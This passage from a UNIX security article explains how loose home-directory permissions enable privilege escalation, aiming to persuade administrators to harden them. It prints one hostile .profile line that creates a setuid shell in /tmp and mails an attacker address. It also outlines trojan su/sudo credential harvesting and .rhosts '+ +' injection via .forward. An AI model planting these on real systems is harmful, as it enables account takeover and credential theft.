- Why Secure the Home Directories?
- Reconnaissance
- Privilege Escalation by Hacking Home Directories
- Traenk's Top 10 Recommendations
Like this article? We recommend
Like this article? We recommend
Like this article? We recommend
Privilege Escalation by Hacking Home Directories
Intruders love to grab process time with a user's credentials and security context. They send emails with odd attachments that do all kinds of things. Do you look for weird additions to the scripts? How about customer-provided scripts? Do you look at them before adding them to root's crontab? Do you review vendor-provided scripts as well?
Why is this important? How does any of this apply to home directories?
The home directory has several files that execute as the user when the user logs in, logs off, or executes key applications. These files are seldom checked for modification once they're set up. Even administrators seldom check the integrity of their personal home directory automation files.
Can you get a list of these files? They vary with UNIX version used and with the applications used. Let's try an example with bash.
Many of us are bash users. It's a great shell with many of the best features from existing shells. It's a powerhouse. And when you log in, .bash_profile and .bashrc are executed as you, in your context.
What might an intruder do if s/he could add a few goodies to your .bash_profile?
Here's an interesting line of code that could be inserted into your .profile if you have loose home directory permissions:
cp /bin/bash /tmp/.SecretShell && chmod 4755 /tmp/.SecretShell && mailx –s "Shell done" badperson@intruder.com
If you're an administrator, and you're amazed at what this code does, shame on you. This has been a basic UNIX hack for many, many years. Here's a step-by-step review:
Make a copy of bash and put it in the world writeable directory /tmp.
If the first command succeeds—a logical AND (&&)—set the permissions such that this shell always operates as the file owner, with his or her permissions, despite who runs the file.
If all commands succeed, send an email to badperson. This is an example of "out of band" connectivity, also called a covert channel in some security texts. Yes, an intruder could send all output, including standard error and standard output, to a file, to keep the user in the dark, and still receive feedback that the command succeeded!
Will this work with all UNIX versions? No. Many modern versions don't recognize the suid bit on shell scripts. Will it work with some versions, even modern versions? Yes. Is it so well-documented as an attack that it's likely to occur? Why, yes it is.
At this point, system administrators are thinking they're safe. How might an intruder use the loose file permissions on an administrator's basic home directory to gain root? Let's discuss basic UNIX configuration.
In most secure UNIX configurations, direct logon as the root account is discouraged. Why? There's little accountability to a person's actions once s/he is root. Root can do all things. Instead, many configurations require a person to log on as a base account and then use tools such as su and sudo to assume root access.
Imagine that an intruder gains access to a box or two. If s/he notices the same account ID on both boxes, and if the same ID seems to be one of the first accounts built on the system, chances are that this user is an administrative user who knows root, or whose password can be used to gain root.
What might the intruder do with loose directory permissions? Suppose someone alters the PATH statement to point to, say, /tmp as an entry that appears early in the list. The directory /tmp is world-writeable. Any kind of script can be placed there. Remember, PATH not only signifies what directories are searched for commands, but the search order. If /tmp is listed before /bin, commands in /tmp will be executed first.
Imagine a shell script called /tmp/su or /tmp/sudo. That script could do these lovely tricks:
Gather an administrative user's ID and password.
Pass these values to the real binaries with expect or give some goofy error message.
Move/rename the /tmp script filename, to hide the script. Problems that aren't reproducible are often forgotten quickly. Of course, an at job could move the script back into production in a few days.
Email the values needed to get root.
Yup, Trojan scripts like these are well-documented and are likely. Nope, I won't give you actual code.
So it's pretty apparent that auto-execution files in the home directory can lead to many attacks. Maybe the attack is a shell that lets the intruder act as your account—while never needing to supply your password. Maybe the attack is a planted Trojan horse that gives the intruder the credentials needed for root. Maybe the attack will implicate you as the evildoer in the log, while in fact you did nothing.
TIP
Oh, if you're a Korn person, think ~id/.profile; if you're a csh-eller, think "I need a less complicated shell" or ~id/.csh_login. Consult your man page for the exact startup script file whose commands are followed.
Are you an ssh user? Do you use it for security but refuse to secure the ~/.ssh[2] settings folder? Do you disable ssh, insisting on tight home-directory file permissions because, after all, that keeps your teammates from using your scripts and the like? Do you check your authorized keys file or its equivalent for new or changed entries? If you don't do all these things, your ssh is very open to attack—as much as any Stone Age .profile file.
Yes, your loose permissions may even implicate you as an intruder.
Dennis Ritchie, inventor of so many things, including the C language, had a great article on UNIX security that's more than a decade old. In it, he mentions the mail command's ability to write to files with root authority. He even explains how one might "mail" a new line, with UID 0, to /etc/passwd. Yes, the UID 0 indicates that the line, formatted as a user ID line, will create an account ID that has root authority. No, I won't provide details. They're documented—for more than a decade. In this case, the attack can be launched from a poorly secured .profile. And when the command executes, it will have all the marks of your home directory.
UNIX has many great security strengths. It also is so versatile that very deadly attacks can succeed from the smallest mistakes.
At this point, it's my sincere hope that I've convinced you to be concerned. Some may even go so far as to check /home permissions. They might run scripts that notify someone when home-directory permissions are permissive.
Sadly, this is not enough.
My UNIX Yoda once told me that actual permissions are the sum of all access methods. Marcus Ranum, security authority, wrote an excellent article on NFS permissions. Yes, you may have excellent native filesystem permissions. But what if your NFS system exports the /home filesystem with generous "anyone writes anywhere" permissions?
NOTE
I'm not providing a citation for the Ranum article here; I think UNIX security begins with learning to find your own best information.
In Ranum's article, he found an example on the Internet itself. He describes a useful function of the .forward file, which dictates how incoming mail will be handled. Maybe mail, or a copy of the mail, goes off to a third party? Maybe mail gets sent to a file on the filesystem? In this case, Ranum describes a configuration that sends mail to a file in the home directory: .rhosts. The file .rhosts is very special. It states what hosts (and maybe which users on those hosts) can "borrow" the user's account and permissions on the system. If someone writes waldo.circus.com to ~wendy/.rhosts, all users on waldo.circus.com can use Wendy's account without providing a password. What can Waldo users do? Anything Wendy can do on the system. Yes, all this power and the only authentication is an IP address.
Ranum found all this configured on an Internet-facing server. Problem? Joe Intruder can send an email from the Internet with the line + + in it, and this line is put into .rhosts. Did I fail to mention that + + means "allow all hosts and any users" to borrow the account??? In this example, normal file permissions simply don't apply. No, this is bad, very bad.
As another example, I investigated a misconfigured server. This server had an anonymous FTP server installed. Unfortunately, the administrator set the anonymous server to have the entire filesystem served through it! The anonymous FTP server started with the actual / directory!
Still like those 755 default file permissions? Those same permissions allowed me and the other investigator to harvest IDs and passwords. How? Many people like cleartext scripts or those cleartext .netrc files. Scripts used to automate tasks often include IDs and passwords needed. When automating FTP, the .netrc file can be loaded with commands, IDs, and passwords needed to move files. Those 755 default permissions exposed them to anyone who logged to the anonymous FTP service. Hmm...you don't "log" to an anonymous FTP server. Let me write, "Those 755 default permissions exposed highly confidential information needed to hack other machines to anyone who can type a-n-o-n-y-m-o-u-s and leave a bogus email address like haha@jokesonyou.com." In most cases, the intruder needs to log onto a server with a legitimate ID and password to examine a system's home directory filesystem. In this case, the anonymous FTP server let anyone scan the entire filesystem without any authentication!
In short, we have a growing problem with home directories. The content's confidentiality is increasing, exposing production jobs, IDs, and passwords to casual inspection. Home directory permissions allow privilege-escalation abilities. Indeed, we've seen how security problems with unrelated services can exploit home directory security to provide a deeper, repeatable attack. Opening all access through Internet email is a grave problem, especially since few would note the connection between .forward and .rhosts.
What should be done?